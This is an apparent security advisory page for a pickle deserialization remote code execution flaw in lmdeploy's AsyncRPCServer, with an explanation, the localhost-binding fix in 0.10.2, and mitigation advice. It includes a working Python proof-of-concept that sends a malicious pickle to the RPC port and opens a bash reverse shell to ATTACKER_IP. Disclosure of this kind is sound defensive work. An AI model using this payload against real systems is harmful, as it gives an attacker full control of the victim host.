CVE-2025-59953: lmdeploy Remote Code Execution via Pickle Deserialization in AsyncRPCServer
LMdeploy's internal RPC server deserializes incoming ZMQ messages with pickle.loads() and no authentication, letting any network-reachable attacker run arbitrary code on the host by sending a crafted…

The problem
AsyncRPCServer in lmdeploy/zmq_rpc.py bound its ZMQ socket to tcp://* (all interfaces) and called pickle.loads() on every received message before doing any validation. No authentication was required to connect.
Any attacker who could reach the RPC port over the network could send a malicious pickle payload and achieve arbitrary code execution as the process owner. The port is randomized but discoverable by scanning.
Proof of concept
A working proof-of-concept for CVE-2025-59953 in lmdeploy, with the exact payload below.
# attacker_poc.py (run against the victim's RPC port)
import zmq
import pickle
import os
class RCE:
def __reduce__(self):
# Replace with desired command; this opens a reverse shell
cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
return (os.system, (cmd,))
ctx = zmq.Context()
sock = ctx.socket(zmq.PUSH)
sock.connect("tcp://VICTIM_IP:VICTIM_RPC_PORT") # port found by scanning
sock.send(pickle.dumps(RCE()))Python's pickle protocol executes arbitrary code during deserialization via the __reduce__ hook. Because lmdeploy called pickle.loads() on the raw network bytes before inspecting message content, delivering a pickle payload with a malicious __reduce__ was enough for full RCE (CWE-502).
The maintainer assessment confirms the fix in 0.10.2 changed the ZMQ bind address from tcp://* to localhost, removing the remote attack surface entirely. The protocol still uses pickle internally, so the loopback endpoint must remain inaccessible to untrusted local processes.
The fix
Upgrade lmdeploy to 0.10.2 or later. The patch changes AsyncRPCServer to bind only to localhost (127.0.0.1), preventing remote connections. As a defense-in-depth measure, firewall the RPC port and ensure untrusted local users cannot reach the loopback endpoint.
The advisory also recommends replacing pickle with a safe serialization format (msgpack or safetensors) and adding authentication to the RPC service.
Related research
- criticalCVE-2026-78683CVE-2026-78683: nltk Unsafe Pickle Deserialization in TransitionParser
- criticalCVE-2026-79657CVE-2026-79657: nltk Allowlisted Pickle Loader Remote Code Execution
- high · 8.8mlflow statsmodels flavor MLFLOW_ALLOW_PICKLE_DESERIALIZATION bypass RCE
- high · 7.8MONAI algo_from_pickle() Unsafe Pickle Deserialization RCE (Incomplete Fix)